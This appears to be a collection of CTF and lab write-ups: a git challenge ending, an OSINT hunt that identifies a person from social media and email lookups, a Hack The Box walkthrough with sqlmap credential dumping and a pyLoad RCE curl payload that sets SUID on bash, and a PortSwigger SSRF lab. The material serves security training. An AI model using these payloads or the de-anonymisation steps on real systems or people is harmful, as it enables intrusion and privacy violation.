Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:21:38 2024 +0000
dummy
git-diagnostics-2024-02-09-1621.zip | Bin 0 -> 14490 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit ca244e18bb33e611af1d4d7397d9ab31d0af7972
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:11:24 2024 +0000
KAY
.gitconfig | 5 ++++
__pycache__/banner.cpython-311.pyc | Bin 0 -> 966 bytes
banner.py | 20 +++++++++++++
challenge.py | 56 ++++++++++++++++++++++++++++++++++++
entrypoint.sh | 22 ++++++++++++++
exec.sh | 18 ++++++++++++
git-diagnostics-2024-02-09-1540.zip | 0
git-diagnostics-2024-02-09-1545.zip | 0
git-diagnostics-2024-02-09-1546.zip | 0
git-diagnostics-2024-02-09-1548.zip | 0
git-diagnostics-2024-02-09-1552.zip | 0
git-diagnostics-2024-02-09-1556.zip | 0
12 files changed, 121 insertions(+)
You got it look at the output again the flag is right there.
The flag: 0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
-
OSINT: Cheater (medium)
Description
Our team received a request from a man who believes his wife may be cheating on him. He asked us to help by checking her accounts for any evidence. He provided his wife’s name, “Hamdia Eldhkawy” and mentioned that a friend informed him she shared a picture with someone on social media. He couldn’t find the image and wants us to discover the man’s real name.
Flag Format: 0xL4ugh{First Name_Last Name}
Solution
Let’s go
First i started searching using Hamdia Eldhkawy using google
after some trials i found nothing useful
I decided to try searching for Hamdia Eldhkawy using bing search
good news, i found an instagram profile instagram_profile
I searched within the profile trying to get useful information for next steps examining
followers
posts
I stuck for a long time here as i thought the followers or the people reacting to her posts maybe interesting, so i spent some time with some reacting users but with no useful information
I also tried using the pictures in her posts in reverse image search, but also with no useful results
Then i noticed important thing that all the posts are about AI generated pictures
This may indicate that she is interested in AI and this gave me a hint to the next step
Let’s go back to bing and search using Hamdia Eldhkawy ai
and we got this results
The OPENAI link is the treasure here OPENAI post
When we go in we find interesting comment from a user called Hamada_Elbes
I remember you, Hamada
Hamade_Elbes was an OSINT challange in 0xl4ugh ctf 2023 xDDDD
anyway let’s back and look at the comment
The comment is: Haha Hamdia, I already caught that :wink: I can share it with your husband <3 with the photo below
After analyzing this image carefully we will find important information
First, The url may move us to the post
Second, Hamdia mentioned her boyfriend in the post but the picture is cropped so we just know that his account starts by spide and this’s not enough
When we try to access the link in the image we willn’t get that post
Maybe Hamdia deleted it ummmmmmmmmmmmmm
Good one, Hamdia but you are too late as Hamada_Elbes caught you xDD
We need to reach that deleted post and in this situation we will think abount web archiving
I tried wayback machine but with no useful results
Then i searched for an alternative and after many trials this worked with me archive.ph
Let’s open it and get the info we need
The treasures in here finally she mentioned spidersh4zly
What are you waiting for?! Let’s search for him on instagram
And this is his account
There’s another link in his profile for more information, and i see that there’s nothing else important
Let’s go to this link
We see many accounts for spidersh4zly after analyzing them i found that all are useless except the gmail
We can use the gmail in getting his real name using a powerful tool called epieos
Go to its site insert the email and let it makes its magic
And here’s the results
We found him. He is Abdelfatah ElCanaway
Congratz we got it.
The flag: 0xL4ugh{Abdelfatah_ElCanaway}
-
PC
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/PC]
└─$ nmap -sV -sC -Pn -p 80,50051 -oA pc 10.10.11.214
# Nmap 7.92 scan initiated Thu Aug 17 12:37:10 2023 as: nmap -sV -sC -Pn -p- -oA pc 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.075s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.92%I=7%D=8/17%Time=64DDF8D7%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 17 12:39:34 2023 -- 1 IP address (1 host up) scanned in 143.38 seconds
We got this as an output. We have an interesting service on port 50051
After searching about 50051, we will find that the service is gRPC.
Shell as sau
To access its UI there’s a tool called grpcui explained here
After installing it, we will get access to this GUI.
In the method name field we have 3 options: Login,Register and getinfo
Make sure that burp is opened and receiving the requests.
Let’s try registering using credentials youssif:youssif Then login using these credentials and you will get this response.
We see that we got an id and token.
Let’s go to getinfo and use the id we got 345 => we got this msg
So we will add the token we got in the metadata field and we will get in the response => “message”: “Will update soon.”
We were using burp let’s go to the requests and send them to the repeater to examine them.
getinfo request is most interesting of them and id parameter is vulnerable to sqli and it can be detected using id="345 or 1=1-- u will get a different message.
Let’s go to sqlmap and because this request method is POST so we will copy the request in text file and use it with sqlmap, for more information here
So from the previous link we knew that we will save the request in a file and use this command.
sqlmap -r request.txt -p id --tables
From this we knew that we have two tables accounts and messages, We are interested in Accounts table.
Anyway Let’s dump the table using this command.
sqlmap -r request.txt -p id -T accounts --dump
in the output we will find this
passwords are plain text and the user sau seems to be out goal
Actually, IDK what is the pronounce of this name it seems like Siuuuuuuuuuuuuuuuuu
Anyway, when we use this credentials of sau in ssh we get the shell successfully
Congratzzzz we got the user’s flag
shell as root
Let’s move to Root part.
after some enumeration using netstat -a I found that 127.0.0.1:8000 in listening state.
We will use port forwarding to be able to access it using the command
ssh -L 9001:127.0.0.1:8000 sau@10.10.11.214
So we can access it from firefox using the url http://127.0.0.1:9001
We will find that the process is called pyload and after enumerating the running processes using ps -ef we will find that it’s running process by the root.
After searching for exploit for pyload i found many useful articles like:
1
2
3
All of these are useful i used this POC for the RCE:-
curl -i -s -k -X $'POST' --data-binary $'jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:4444/flash/addcrypted2'
The url encoded part:
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29
is the command i used which is pyimport os;os.system(“chmod u+s /bin/bash”)
Then we can execute /bin/bash -p using the user sau because /bin/bash got SUID permission.
Rooted !!
I wish this writeup was useful, THANK YOU.
-
-
-
-
SSRF: challange 2
Basic SSRF against another back-end system
Link: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
solution
start the lab and remember the objective is to open /admin and delete the user carlos
if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly.
so let’s go to products and click check stock as challange describtion said
intercept this request
POST /product/stock HTTP/1.1
Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
notice that stockApi parameter has a url as a value, so let’s try to change it to http://192.168.0.x:8080/admin as said in describtion.
we don’t know the value of x so we will send the request to the intruder for brute forcing to be like this
POST /product/stock HTTP/1.1
Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
stockApi=http://192.168.0.§x§:8080/admin
notice that x is between two of § character, as it’s parameter of the brute force
to choose the values of it we will go to payloads tab
change payload type to numbers and make it ranges from 0 to 255 with step 1
start the attack and wait until you see a request with status 200
when you find it this means that this is the suitable ip
back to the repeater and use it with changing the value of the stockApi to: /admin/delete?username=carlos
carlos is deleted
congratzzzzzzzzzzzzzzzzzzzzz
-
Touch background to close